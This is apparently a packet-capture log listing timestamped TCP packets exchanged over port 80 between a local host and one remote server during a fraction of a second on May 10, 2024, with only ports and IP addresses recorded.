May 10, 2024 09:20:58.230479002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230490923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230494976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230503082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230515003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230515957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230530024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230532885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230542898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230554104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230566025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230566025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230581045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230582952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230592966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230606079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230609894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230618954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230631113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230639935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230643034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230654955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230662107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230667114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230679035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230686903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230690956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230704069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230709076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230716944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230730057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230736017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230741978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230755091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230766058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230766058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230778933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230787992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230792046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230804920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230806112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230818987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230830908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230844021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230850935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230856895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230870008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230873108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230882883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230885983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230895996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230907917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230911970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230921030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230933905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230945110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230945110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230957031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230961084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.230972052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230983973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.230994940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231000900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231007099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231018066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231020927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231034040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231041908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231045961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231060028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231071949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231076956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231084108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231096983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231102943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231108904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231117964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231121063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231133938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231141090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231144905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231158018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231164932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231170893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231183052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231194019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231198072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231206894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231219053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231220961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231231928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231241941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231245995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231257915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231265068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231271029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231283903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231296062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231301069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231307983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231314898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231321096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231333971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231338978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231347084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231359005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231370926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231372118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231383085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231386900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231395960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231408119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231417894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231420994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231434107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231446981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231453896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231457949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231471062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231477976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231482029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231492996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231496096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231508970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231515884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231522083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231535912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231540918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231548071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231559992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231574059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231575012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231585979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231595039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231597900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231610060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231618881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231621981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231635094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231647015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231651068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231658936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231664896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231672049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231683969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231697083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231700897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231709003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231720924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231724024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231734037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231740952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231746912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231759071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231762886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231771946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231782913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231794119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231803894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231806040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231818914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231827021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231831074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231842995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231844902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231858015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231864929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231872082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231884956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231889009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231898069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231916904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231930017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231935978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231942892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231955051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231957912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231966972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231975079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.231981039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.231992960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232003927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232004881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232018948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232024908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232032061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232043982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232057095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232068062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232073069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232080936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232093096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232094049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232110023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232114077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232125998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232129097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232141972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232152939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232165098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232173920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232177019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232201099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232204914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232213020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232218027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232229948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232242107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232251883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232259035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232270956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232283115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232287884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232295990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232307911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232314110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232321024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232333899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232340097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232346058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232357979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232364893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232369900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232378006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232383013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232395887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232407093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232424021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232429028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232436895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232449055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232459068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232466936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232470989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232481003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232484102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232495070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232506037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232517958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232528925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232538939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232552052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232563972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232568979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232575893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232599020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232600927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232611895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232625008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232635021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232640982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232647896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232659101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232671022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232672930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232682943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232691050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232693911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232706070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232707977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232733011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232739925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232745886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232758999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232763052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232772112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232784033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232795000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232805014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232811928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232817888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232829094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232834101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232841015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232866049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232867956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232878923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232891083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232897043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232902050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232914925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232924938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232929945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232938051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232949972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232954979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232964993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232976913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.232978106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.232990026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233000994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233002901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233012915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233023882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233031988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233036995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233047009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233047962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233061075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233066082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233073950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233083010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233086109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233098984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233105898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233110905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233123064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233129978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233134985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233148098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233154058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233165979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233169079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233177900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233190060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233196974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233202934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233213902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233222008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233226061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233234882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233238935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233251095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233259916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233262062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233272076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233275890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233287096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233294964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233299017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233310938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233319998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233320951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233334064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233335018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233334064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233345985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233355999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233357906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233371019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233377934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233383894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233395100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233403921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233407021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233417034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233417988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233431101 CEST	80	49754	34.68.151.162	192.168.2.4
